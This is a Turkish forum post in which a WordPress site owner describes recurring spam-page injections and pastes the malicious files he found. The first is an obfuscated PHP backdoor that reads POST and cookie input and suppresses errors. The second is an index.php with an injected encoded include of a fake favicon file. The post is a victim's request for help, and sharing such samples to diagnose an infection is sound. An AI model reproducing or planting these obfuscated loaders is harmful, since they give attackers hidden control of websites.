Böyle bir sorunla karşı karşıyayım

Can · 9 Mar 2018

Merhaba arkadaşlar , son günlerde wp siteme çince indexler geliyordu bu indexler 1.sayfama kadar çıktı ve ftp de bazı yabancı dosyalar buldum bunları sildim 1 hafta sonra tekrar bu dosyaları ftpde buldum.Bu sorunu nasıl çözerim.Bedava bir tema kullanıyorum en büyük şüphem temadan olabileceği ftpdeki dosyaların içeriği şu şekilde :

Kod:

<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['t443480'] = "\x21\x2f\x64\x52\x25\x36\x77\x62\x6b\x4c\x39\x37\x2b\x43\x33\x57\x49\x7e\x40\x51\x5f\x2c\x3a\x5a\x23\x72\x6e\x7b\x3c\x20\x5d\x74\x3f\x54\x4d\x53\x46\xa\x3e\x79\x66\x5e\x28\x41\x44\x71\x42\x32\x67\x56\x3d\x4e\x6d\x76\x4a\x59\x50\x47\x61\x58\x22\x27\x35\x63\x7c\x73\x4f\x30\x24\x3b\x6c\x7a\x45\x55\x6f\x31\x29\x5b\x26\x48\x9\x2e\x65\x4b\x34\x69\x75\x78\x68\x7d\x38\x70\x2d\x60\x2a\xd\x6a\x5c";
$GLOBALS[$GLOBALS['t443480'][2].$GLOBALS['t443480'][82].$GLOBALS['t443480'][11].$GLOBALS['t443480'][90]] = $GLOBALS['t443480'][63].$GLOBALS['t443480'][88].$GLOBALS['t443480'][25];
$GLOBALS[$GLOBALS['t443480'][48].$GLOBALS['t443480'][5].$GLOBALS['t443480'][62].$GLOBALS['t443480'][40]] = $GLOBALS['t443480'][74].$GLOBALS['t443480'][25].$GLOBALS['t443480'][2];
$GLOBALS[$GLOBALS['t443480'][91].$GLOBALS['t443480'][84].$GLOBALS['t443480'][58].$GLOBALS['t443480'][63]] = $GLOBALS['t443480'][65].$GLOBALS['t443480'][31].$GLOBALS['t443480'][25].$GLOBALS['t443480'][70].$GLOBALS['t443480'][82].$GLOBALS['t443480'][26];
$GLOBALS[$GLOBALS['t443480'][58].$GLOBALS['t443480'][10].$GLOBALS['t443480'][58].$GLOBALS['t443480'][47].$GLOBALS['t443480'][58]] = $GLOBALS['t443480'][85].$GLOBALS['t443480'][26].$GLOBALS['t443480'][85].$GLOBALS['t443480'][20].$GLOBALS['t443480'][65].$GLOBALS['t443480'][82].$GLOBALS['t443480'][31];
$GLOBALS[$GLOBALS['t443480'][2].$GLOBALS['t443480'][63].$GLOBALS['t443480'][2].$GLOBALS['t443480'][84].$GLOBALS['t443480'][40].$GLOBALS['t443480'][90].$GLOBALS['t443480'][67].$GLOBALS['t443480'][82]] = $GLOBALS['t443480'][65].$GLOBALS['t443480'][82].$GLOBALS['t443480'][25].$GLOBALS['t443480'][85].$GLOBALS['t443480'][58].$GLOBALS['t443480'][70].$GLOBALS['t443480'][85].$GLOBALS['t443480'][71].$GLOBALS['t443480'][82];
$GLOBALS[$GLOBALS['t443480'][31].$GLOBALS['t443480'][10].$GLOBALS['t443480'][75].$GLOBALS['t443480'][75]] = $GLOBALS['t443480'][91].$GLOBALS['t443480'][88].$GLOBALS['t443480'][91].$GLOBALS['t443480'][53].$GLOBALS['t443480'][82].$GLOBALS['t443480'][25].$GLOBALS['t443480'][65].$GLOBALS['t443480'][85].$GLOBALS['t443480'][74].$GLOBALS['t443480'][26];
$GLOBALS[$GLOBALS['t443480'][71].$GLOBALS['t443480'][84].$GLOBALS['t443480'][11].$GLOBALS['t443480'][82].$GLOBALS['t443480'][90].$GLOBALS['t443480'][47].$GLOBALS['t443480'][7].$GLOBALS['t443480'][40].$GLOBALS['t443480'][40]] = $GLOBALS['t443480'][86].$GLOBALS['t443480'][26].$GLOBALS['t443480'][65].$GLOBALS['t443480'][82].$GLOBALS['t443480'][25].$GLOBALS['t443480'][85].$GLOBALS['t443480'][58].$GLOBALS['t443480'][70].$GLOBALS['t443480'][85].$GLOBALS['t443480'][71].$GLOBALS['t443480'][82];
$GLOBALS[$GLOBALS['t443480'][74].$GLOBALS['t443480'][11].$GLOBALS['t443480'][5].$GLOBALS['t443480'][40]] = $GLOBALS['t443480'][7].$GLOBALS['t443480'][58].$GLOBALS['t443480'][65].$GLOBALS['t443480'][82].$GLOBALS['t443480'][5].$GLOBALS['t443480'][84].$GLOBALS['t443480'][20].$GLOBALS['t443480'][2].$GLOBALS['t443480'][82].$GLOBALS['t443480'][63].$GLOBALS['t443480'][74].$GLOBALS['t443480'][2].$GLOBALS['t443480'][82];
$GLOBALS[$GLOBALS['t443480'][58].$GLOBALS['t443480'][90].$GLOBALS['t443480'][2].$GLOBALS['t443480'][5].$GLOBALS['t443480'][58].$GLOBALS['t443480'][11]] = $GLOBALS['t443480'][65].$GLOBALS['t443480'][82].$GLOBALS['t443480'][31].$GLOBALS['t443480'][20].$GLOBALS['t443480'][31].$GLOBALS['t443480'][85].$GLOBALS['t443480'][52].$GLOBALS['t443480'][82].$GLOBALS['t443480'][20].$GLOBALS['t443480'][70].$GLOBALS['t443480'][85].$GLOBALS['t443480'][52].$GLOBALS['t443480'][85].$GLOBALS['t443480'][31];
$GLOBALS[$GLOBALS['t443480'][45].$GLOBALS['t443480'][11].$GLOBALS['t443480'][10].$GLOBALS['t443480'][62]] = $GLOBALS['t443480'][91].$GLOBALS['t443480'][58].$GLOBALS['t443480'][5].$GLOBALS['t443480'][82].$GLOBALS['t443480'][62].$GLOBALS['t443480'][82].$GLOBALS['t443480'][63].$GLOBALS['t443480'][82].$GLOBALS['t443480'][7];
$GLOBALS[$GLOBALS['t443480'][25].$GLOBALS['t443480'][82].$GLOBALS['t443480'][10].$GLOBALS['t443480'][14].$GLOBALS['t443480'][90].$GLOBALS['t443480'][10]] = $GLOBALS['t443480'][7].$GLOBALS['t443480'][14].$GLOBALS['t443480'][2].$GLOBALS['t443480'][11].$GLOBALS['t443480'][58].$GLOBALS['t443480'][40].$GLOBALS['t443480'][47].$GLOBALS['t443480'][84];
$GLOBALS[$GLOBALS['t443480'][25].$GLOBALS['t443480'][40].$GLOBALS['t443480'][82].$GLOBALS['t443480'][75].$GLOBALS['t443480'][67].$GLOBALS['t443480'][11].$GLOBALS['t443480'][47].$GLOBALS['t443480'][2]] = $_POST;
$GLOBALS[$GLOBALS['t443480'][63].$GLOBALS['t443480'][2].$GLOBALS['t443480'][5].$GLOBALS['t443480'][63].$GLOBALS['t443480'][5].$GLOBALS['t443480'][47].$GLOBALS['t443480'][40]] = $_COOKIE;
@$GLOBALS[$GLOBALS['t443480'][58].$GLOBALS['t443480'][10].$GLOBALS['t443480'][58].$GLOBALS['t443480'][47].$GLOBALS['t443480'][58]]($GLOBALS['t443480'][82].$GLOBALS['t443480'][25].$GLOBALS['t443480'][25].$GLOBALS['t443480'][74].$GLOBALS['t443480'][25].$GLOBALS['t443480'][20].$GLOBALS['t443480'][70].$GLOBALS['t443480'][74].$GLOBALS['t443480'][48], NULL);

@$GLOBALS[$GLOBALS['t443480'][58].$GLOBALS['t443480'][10].$GLOBALS['t443480'][58].$GLOBALS['t443480'][47].$GLOBALS['t443480'][58]]($GLOBALS['t443480'][70].$GLOBALS['t443480'][74].$GLOBALS['t443480'][48].$GLOBALS['t443480'][20].$GLOBALS['t443480'][82].$GLOBALS['t443480'][25].$GLOBALS['t443480'][25].$GLOBALS['t443480'][74].$GLOBALS['t443480'][25].$GLOBALS['t443480'][65], 0);

@$GLOBALS[$GLOBALS['t443480'][58].$GLOBALS['t443480'][10].$GLOBALS['t443480'][58].$GLOBALS['t443480'][47].$GLOBALS['t443480'][58]]($GLOBALS['t443480'][52].$GLOBALS['t443480'][58].$GLOBALS['t443480'][87].$GLOBALS['t443480'][20].$GLOBALS['t443480'][82].$GLOBALS['t443480'][87].$GLOBALS['t443480'][82].$GLOBALS['t443480'][63].$GLOBALS['t443480'][86].$GLOBALS['t443480'][31].$GLOBALS['t443480'][85].$GLOBALS['t443480'][74].$GLOBALS['t443480'][26].$GLOBALS['t443480'][20].$GLOBALS['t443480'][31].$GLOBALS['t443480'][85].$GLOBALS['t443480'][52].$GLOBALS['t443480'][82], 0);

@$GLOBALS[$GLOBALS['t443480'][58].$GLOBALS['t443480'][90].$GLOBALS['t443480'][2].$GLOBALS['t443480'][5].$GLOBALS['t443480'][58].$GLOBALS['t443480'][11]](0);



$h1466 = NULL;

$w6f3d5235 = NULL;

Bu da index.php içeriği

Kod:

<?php

/*01e96*/

@include "\x2fho\x6de/\x6din\x69cl\x69pv\x67/p\x75bl\x69c_\x68tm\x6c/h\x75se\x79in\x63ic\x65k/\x77p-\x61dm\x69n/\x75se\x72/f\x61vi\x63on\x5f7c\x3883\x35.i\x63o";

/*01e96*/
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

Bu sorunun çözümünü bilen varmı neden kaynaklı olabilir 1 aydan daha fazla süredir kurtaramadım.Wordpress en güncelde

	Benzer konular	Forum			Tarih
F	Merhabalar Ucunda Çok Para Olan Bir Işi Merak Eden Olur Mu Burda?	İnternetten Para Kazanma	0	161	26 Kas 2023
	Satılık Bet Siteleri Mevcuttur - Birden Fazla İlk 5 Sırada Bet Siteleri Satlık	Alışveriş	0	286	18 Nis 2023
	Esc Seo Danışmanlığı İzmir, Ankara Bir Çok Referans Hızlı Sıralama Etkisi Denemeyen Pişman	SEO	0	229	22 Şub 2023
	İstediğiinz Her Kelimede İlk Sayfa Yapıyorum Böyle Seo Görülmedi Mutlaka Ulaşın	SEO	1	389	7 Şub 2023
T	🔔 %100 Türk Beğeni 🔔 YOK BÖYLE BİR DATA 🔔 Max: 10k 🔔 ÇOK HIZLI İŞLEM 🔔	Instagram	0	2K	13 Ağu 2020
	neden böyle yapıyorlar.	SEO	6	2K	5 Ara 2019
Ç	Alexa Neden Böyle Yapıyor?	Alexa	0	650	12 Mar 2018
Ç	Alexa böyle midir ?	Alexa	0	2K	12 Mar 2018
W	Böyle bir şey nasıl yapabilirim?	Veritabanı	0	837	11 Mar 2018
N	Neden Böyle Bir Hata Alıyorum?	Asp NET	0	663	10 Mar 2018
D	böyle bir site kurmak kolay mı, zor mu ?	Joomla	0	703	9 Mar 2018
B	Ben böyle hilebazlık görmedim	Adwords	0	710	7 Mar 2018
B	ABD'li komutandan resmi itiraf! Teröristleri böyle eğitiyorlar	Haber Takip	0	589	6 Mar 2018
W	Aramalarda neden böyle çıkıyor?	Google	1	938	5 Mar 2018
W	Neden boyle oluyor ?	Google	0	644	4 Mar 2018

Böyle bir sorunla karşı karşıyayım

Can

Çalışkan Üye

Şu anda bu konu'yu okuyan kullanıcılar

Benzer konular